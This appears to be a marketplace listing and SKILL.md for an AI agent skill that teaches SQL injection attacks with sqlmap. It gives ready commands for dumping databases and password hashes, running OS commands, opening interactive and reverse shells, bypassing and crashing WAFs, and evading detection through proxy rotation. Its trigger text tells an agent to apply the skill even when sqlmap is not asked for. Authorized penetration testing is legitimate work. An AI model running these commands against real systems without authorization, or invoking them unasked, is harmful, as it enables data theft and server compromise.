# Sqlmap Pentest > SQL injection testing with sqlmap. Use this skill whenever the user needs to test for SQL injection vulnerabilities, enumerate databases, extract data from vulnerable applications, or bypass WAFs with sqlmap. Trigger on any mention of SQL injection testing, sqlmap commands, database enumeration, WAF bypass, or web application security testing involving SQL. Don't wait for explicit "use sqlmap" - if they're testing SQLi or need database extraction, this skill applies. - Skill: `abelrguezr/sqlmap-pentest` (Agent Skill, multi-file: 4 files) - Install (CLI): `npx skillmds@latest add abelrguezr/sqlmap-pentest` - Raw SKILL.md: https://api.skillmd.com/api/skills/abelrguezr/sqlmap-pentest/raw - Safety review: pending - Works with: Claude Code, Claude.ai, OpenAI Codex - Category: Data & Analytics - Author: abelrguezr (https://skillmd.com/u/abelrguezr) - Updated: 2026-09-10 - Page: https://skillmd.com/skills/abelrguezr/sqlmap-pentest --- # SQLMap Pentesting Skill This skill helps you conduct SQL injection testing using sqlmap, from basic reconnaissance to advanced WAF bypass techniques. ## Quick Start ### Basic SQLMap Command Structure ```bash sqlmap -u "" -p "" [OPTIONS] ``` ### Essential Flags for Most Tests ```bash -u "" # Target URL -p "" # Parameter to test --random-agent # Rotate user agents --threads=10 # Parallel requests --risk=3 # Aggressive testing (1-5) --level=5 # Maximum detection (1-5) --batch # Non-interactive mode --technique="BEUSTQ" # All injection techniques ``` ## Injection Techniques Use `--technique` to specify which SQL injection methods to attempt: | Technique | Flag | When to Use | |-----------|------|-------------| | Boolean-based blind | B | True/false conditions reveal data | | Error-based | E | Verbose DBMS error messages | | UNION query | U | UNION SELECT statements | | Stacked queries | S | Multiple statements with semicolons | | Time-based blind | T | SLEEP/WAITFOR delays | | Out-of-band | Q | DNS callbacks, LOAD_FILE() | **Default order:** `BEUSTQ` **Example - Test only Boolean and Time-based:** ```bash sqlmap -u "http://target/?id=1" --technique="BT" --batch ``` ## Target Injection Points ### URL Parameters (GET) ```bash sqlmap -u "http://example.com/?id=1" -p id sqlmap -u "http://example.com/?id=*" -p id # Auto-detect injection point ``` ### POST Data ```bash sqlmap -u "http://example.com" --data "username=*&password=*" ``` ### HTTP Headers ```bash # Cookie injection sqlmap -u "http://example.com" --cookie "mycookies=*" # Header injection sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*" sqlmap -u "http://example.com" --headers="referer:*" ``` ### From Burp/ZAP Capture ```bash # Save request to req.txt, then: sqlmap -r req.txt --current-user ``` ### Second-Order Injection ```bash sqlmap -r request.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3 ``` ## Database Enumeration ### Internal Information ```bash --current-user # Current database user --is-dba # Check if user is admin --hostname # Server hostname --users # List database users --passwords # Extract user passwords ``` ### Database Data Extraction ```bash --all # Retrieve everything --dbs # List all databases --tables # List tables in database (-D ) --columns # List columns in table (-D -T ) --dump # Dump table contents ``` **Example - Full enumeration:** ```bash sqlmap -u "http://target/?id=1" -p id --dbs --batch sqlmap -u "http://target/?id=1" -p id -D "database_name" --tables --batch sqlmap -u "http://target/?id=1" -p id -D "database_name" -T "users" --dump --batch ``` ## OS Command Execution ```bash # Execute single command sqlmap -u "http://target/?id=1" -p id --os-cmd "whoami" # Interactive shell sqlmap -u "http://target/?id=1" -p id --os-shell # Drop reverse shell (requires Metasploit) sqlmap -u "http://target/?id=1" -p id --os-pwn ``` ## WAF Bypass Techniques ### Tamper Scripts Use `--tamper` to bypass WAFs and filters. Common options: | Tamper | Use Case | |--------|----------| | `apostrophemask.py` | Bypass quote filtering | | `base64encode.py` | Encode entire payload | | `chardoubleencode.py` | Double URL-encode | | `space2comment.py` | Replace spaces with comments | | `randomcase.py` | Randomize keyword case | | `unionalltounion.py` | UNION ALL → UNION | | `versionedkeywords.py` | MySQL versioned comments | | `luanginxmore.py` | Crash Lua-Nginx WAFs (POST only) | **Example - Multiple tampers:** ```bash sqlmap -u "http://target/?id=1" -p id --tamper=apostrophemask.py,randomcase.py --batch ``` **Example - Lua-Nginx WAF bypass:** ```bash sqlmap --method=POST -u "http://target" --data "id=*" --tamper=luanginxmore.py --batch ``` ### Custom Prefix/Suffix ```bash # Add suffix to injection sqlmap -u "http://target/?id=1" -p id --suffix="-- " # Add prefix to injection sqlmap -u "http://target/?id=1" -p id --prefix="') " ``` ### Boolean Blind Helper ```bash # Find strings that don't appear in true responses sqlmap -r request.txt -p id --not-string "ridiculous" --batch ``` ## Advanced Features ### HTTP/2 Support (sqlmap >= 1.9.x) ```bash # Force HTTP/2 (bypasses HTTP/1.1 rate limiting) sqlmap -u "https://target" --http2 --force-ssl ``` ### Proxy Rotation ```bash # Rotate proxies every 3 requests sqlmap -u "http://target" --proxy-file proxies.txt --proxy-freq 3 ``` ### Mobile User-Agent ```bash # Spoof mobile client (some APIs expose more data) sqlmap -u "http://target" --mobile ``` ### Offline Mode ```bash # Reuse cached data without network traffic sqlmap -u "http://target" --offline # Purge session data when done sqlmap -u "http://target" --purge ``` ### Website Crawling ```bash # Auto-discover and test all endpoints sqlmap -u "http://target/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3 ``` ## Authentication Support ```bash # HTTP Basic Auth sqlmap -u "http://target" --auth-type="Basic" --auth-cred="user:pass" # HTTP Digest Auth sqlmap -u "http://target" --auth-type="Digest" --auth-cred="user:pass" # NTLM Auth sqlmap -u "http://target" --auth-type="NTLM" --auth-cred="domain/user:pass" ``` ## Common Attack Scenarios ### Scenario 1: Quick Vulnerability Check ```bash sqlmap -u "http://target/?id=1" -p id --batch --random-agent --threads=10 ``` ### Scenario 2: Full Database Extraction ```bash sqlmap -u "http://target/?id=1" -p id --dbs --batch sqlmap -u "http://target/?id=1" -p id -D "" --tables --batch sqlmap -u "http://target/?id=1" -p id -D "" -T "" --dump --batch ``` ### Scenario 3: WAF-Bypassed Enumeration ```bash sqlmap -u "http://target/?id=1" -p id --tamper=apostrophemask.py,randomcase.py --level=5 --risk=3 --batch ``` ### Scenario 4: POST Request Testing ```bash sqlmap -u "http://target/login" --data "username=*&password=*" --batch ``` ### Scenario 5: Header Injection ```bash sqlmap -u "http://target" --headers="X-Forwarded-For:*" --batch ``` ## Safety and Ethics - **Only test systems you have authorization to test** - Use `--risk=1` and `--level=1` for initial reconnaissance - Higher risk/level values can cause database instability - Use `--purge` to clean up session data after testing - Document all findings for responsible disclosure ## Troubleshooting ### Slow Performance - Reduce `--threads` value - Lower `--level` and `--risk` - Use `--batch` to skip interactive prompts ### False Positives - Verify with manual testing - Use `--technique` to limit to specific methods - Check with `--not-string` for boolean blind ### WAF Blocking - Try different tamper scripts - Use proxy rotation - Lower request rate with fewer threads - Try HTTP/2 with `--http2` ## References - [SQLMap Official Wiki](https://github.com/sqlmapproject/sqlmap/wiki/usage) - [SQLMap Command Builder](https://vizzdoom.github.io/sqlmap-command-builder/) - [Tamper Scripts Directory](https://github.com/sqlmapproject/sqlmap/tree/master/tamper)